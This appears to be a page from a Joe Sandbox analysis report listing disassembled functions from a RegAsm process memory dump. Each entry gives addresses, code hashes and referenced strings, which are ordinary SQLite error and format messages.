Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 151059b28130fbc03acb5fca19f0c45b8b399a5b3732a884ae9d58bf524b3f70
Instruction ID: 9c5d89a8f57f3f7122540daf95178f2c6064faccea6f53f6afa8e10bafc5b0ff
Opcode Fuzzy Hash: 151059b28130fbc03acb5fca19f0c45b8b399a5b3732a884ae9d58bf524b3f70
Instruction Fuzzy Hash: 0B31AFB56053918FC310DF29D980D66FBE0EF85215B04869EE4868BA52D731E949CBA1

Function 1FEBF000 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

second argument to nth_value must be a positive integer, xrefs: 1FEBF0C4

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: second argument to nth_value must be a positive integer
API String ID: 0-2620530100
Opcode ID: ae87fb381bec0b849fc5d9488cc6133ad34c25ec6c90ef3f6c89131687c14dad
Instruction ID: c1c7b6e9d2d802b677bb5554913fb91e6529ae11c7e5779141cd379c0c4f0bbf
Opcode Fuzzy Hash: ae87fb381bec0b849fc5d9488cc6133ad34c25ec6c90ef3f6c89131687c14dad
Instruction Fuzzy Hash: 31316CB68003929BDB119F64DC8171A77A1FF01324F004A6DF855AA2A2F733F9568692

Function 1FED05D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMON

Download Yara Rule

Strings

rbu/zipvfs setup error, xrefs: 1FED061A
rbu(%s)/%z, xrefs: 1FED0697

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: rbu(%s)/%z$rbu/zipvfs setup error
API String ID: 0-199214844
Opcode ID: e710bd8d81523a96db23d97b41a4aa39dfa7e363e4f5368a51e7aadaed30a43d
Instruction ID: eb24b966cee9687e53ddedb49b525395ce8594dd4c870bc67586ddcf3069d1b9
Opcode Fuzzy Hash: e710bd8d81523a96db23d97b41a4aa39dfa7e363e4f5368a51e7aadaed30a43d
Instruction Fuzzy Hash: 6F21E4B26003065FD710CF59DC80A5AB7E5EFC8264F15447EFA6D87A01EB72F8058BA1

Function 1FEF5280 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEF5301
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEF52F2
database corruption, xrefs: 1FEF52FC

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 47dcd97b8a526e94606251e6d51a06a3b869a19eb20b23c67d7ae1efc06ef998
Instruction ID: dfd1df6771edba84c39a56ea9569a777c87b7875902de6b8d238171ae7cf7a5e
Opcode Fuzzy Hash: 47dcd97b8a526e94606251e6d51a06a3b869a19eb20b23c67d7ae1efc06ef998
Instruction Fuzzy Hash: 79112B7770030067CB105A99FC40DDBBFA5EFC56B6F094565FA4C56222E723E91193B1

Function 20018490 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 80COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 200184D0
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 200184C1
database corruption, xrefs: 200184CB

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: a775f857e0b103ba8c3c8cf4152a88e7c31bd67ec4441893ab12b7706592aebc
Instruction ID: 180472fc45479bd257fc524829a11930d7d38814bd348b33f4f2f47f26b97cd2
Opcode Fuzzy Hash: a775f857e0b103ba8c3c8cf4152a88e7c31bd67ec4441893ab12b7706592aebc
Instruction Fuzzy Hash: F121C276200B019BE7208E98D880B57F3E5FF84315F10492EFA4997B42E775EB858765

Function 1FEFFD60 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEFFE82
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEFFDE6, 1FEFFE61
database corruption, xrefs: 1FEFFE7D

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 03941aed8f1bc66db127eb744b5ace13aa9ef73bc069958b707e68267a163e65
Instruction ID: 861db708bc40ea6f0a1fbccac52565f12dc90dddc331af3d9f33464b83841660
Opcode Fuzzy Hash: 03941aed8f1bc66db127eb744b5ace13aa9ef73bc069958b707e68267a163e65
Instruction Fuzzy Hash: 153127A85143818AD3148F24C441B62BA61BF55309FA4C5CDD5898F793E37BC483DBA6

Function 1FEBB220 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEBB238
misuse, xrefs: 1FEBB233
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEBB229

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: 3dd706be998d99805e06d668aea43060f4087e777ca1a6713ebd5641fe6157ff
Instruction ID: fdbe16d14485fe36a2f1881485b8c3353a848545ef855f5440f3dcd58a8e5666
Opcode Fuzzy Hash: 3dd706be998d99805e06d668aea43060f4087e777ca1a6713ebd5641fe6157ff
Instruction Fuzzy Hash: BC11E1B6A007017BEB109B699C84F9F7BADAFC4208F49442CF91997202FB71F51583A2

Function 1FF0D6F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

%s%s, xrefs: 1FF0D725

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s%s
API String ID: 0-3252725368
Opcode ID: d6f65815d121fdd2aec327ec8eb5fc1f3a096b12f39f90e2d89b3622c3f8d189
Instruction ID: 877fd8f6a8136c08159cb190c521a63a51d011d6f1b03ad049b0a0bc8e41cf69
Opcode Fuzzy Hash: d6f65815d121fdd2aec327ec8eb5fc1f3a096b12f39f90e2d89b3622c3f8d189
Instruction Fuzzy Hash: 7711AF769046109BFB01AB28DC88B9E73A9FF80259F040129E908D6255EF79A514FBF2

Function 1FF5A6B0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 67COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF5A6D2
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF5A6C3
database corruption, xrefs: 1FF5A6CD

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: dcb1509f34ed05503b5381a471d86c2fd6c23afc1c1a77bd3ceb48a97833e3fc
Instruction ID: f8809a8a36f75aae1a6e37cdf31f37cd8e0d5ea886d759fa9861af9921ce0343
Opcode Fuzzy Hash: dcb1509f34ed05503b5381a471d86c2fd6c23afc1c1a77bd3ceb48a97833e3fc
Instruction Fuzzy Hash: 0C116DB66043019FD700DF59EC80F9BB7E9EFC5621F4408A9F6449B261E372A8558B72

Function 1FEF4DA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEF4E27
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEF4E18
database corruption, xrefs: 1FEF4E22

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 86782455b155eba0244f6547b9cfd8d8bfbee2f660ee91e4debcce0f7b77c90c
Instruction ID: e56a19e671ba85a5281e7b112f7ce0ab224f16f0f0e294a526849c199dcc9ba3
Opcode Fuzzy Hash: 86782455b155eba0244f6547b9cfd8d8bfbee2f660ee91e4debcce0f7b77c90c
Instruction Fuzzy Hash: D8115BB26013119FC310DF58D880E8ABBE5EF94759F55849AF6489B312D372F942CBA1

Function 1FECF8A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

integer overflow, xrefs: 1FECF8ED

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: integer overflow
API String ID: 0-1678498654
Opcode ID: badd20e39a7c15764c7be50c4cb3fa40cc35daaa458fb2f60c137a4953ec1d5b
Instruction ID: 42f31c875da55223260af7d5451db424ca51cc3d7cd059e303b7b47d6759ec28
Opcode Fuzzy Hash: badd20e39a7c15764c7be50c4cb3fa40cc35daaa458fb2f60c137a4953ec1d5b
Instruction Fuzzy Hash: EF110176C04B916ADF02AF24AD00B8A37A16F12328F060799F4555A1B6F770E1CAC3E2

Function 1FEC2380 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 62COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEC240B
misuse, xrefs: 1FEC2406
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEC23FC

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: 61c223d3a275574489999f287b0d5c383c88c1211b5d9c7d3ea4b569584ee018
Instruction ID: 8ee8df00c34278fa39cf679c7e28679d9dc9312702c057f30422aad66a00deb5
Opcode Fuzzy Hash: 61c223d3a275574489999f287b0d5c383c88c1211b5d9c7d3ea4b569584ee018
Instruction Fuzzy Hash: 901167752042029FE718DE1CD980F5AB7A4FF98308F424498FA499B396E731E986DB90

Function 1FF61F70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

JSON path error near '%q', xrefs: 1FF61F92

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: JSON path error near '%q'
API String ID: 0-481711382
Opcode ID: 1d8da174f24ca9c26a4a224452be1406b8c2194bc391d0caecc4253ae499205e
Instruction ID: 01ca6b4526b7efcc483f05d299bb9d4d42a4bbd4200e2c420d6f68287b10d9fd
Opcode Fuzzy Hash: 1d8da174f24ca9c26a4a224452be1406b8c2194bc391d0caecc4253ae499205e
Instruction Fuzzy Hash: C901C0726093117EEB249A689C01B9B7BD5EF41730F20066CF9A5972D1EBB1E80193A2

Function 1FEC1DF0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEC1E63
misuse, xrefs: 1FEC1E59
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEC1E53

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: d0c8b54b56c8a755bbe955a1809d1f95c9b8458788b7804a09fde2eac8d01455
Instruction ID: 59126763fad8d95a98fecd6dfa6fb3120e2be6dc68d5cd97a4a73aef41625f8b
Opcode Fuzzy Hash: d0c8b54b56c8a755bbe955a1809d1f95c9b8458788b7804a09fde2eac8d01455
Instruction Fuzzy Hash: A411EC74608A909FE304DF38DD88E96BBA8AF46708F044099F105CB322D339EA05C7E2

Function 1FEDF0E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

INSERT INTO %Q.%Q(%Q) VALUES('flush'), xrefs: 1FEDF105

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
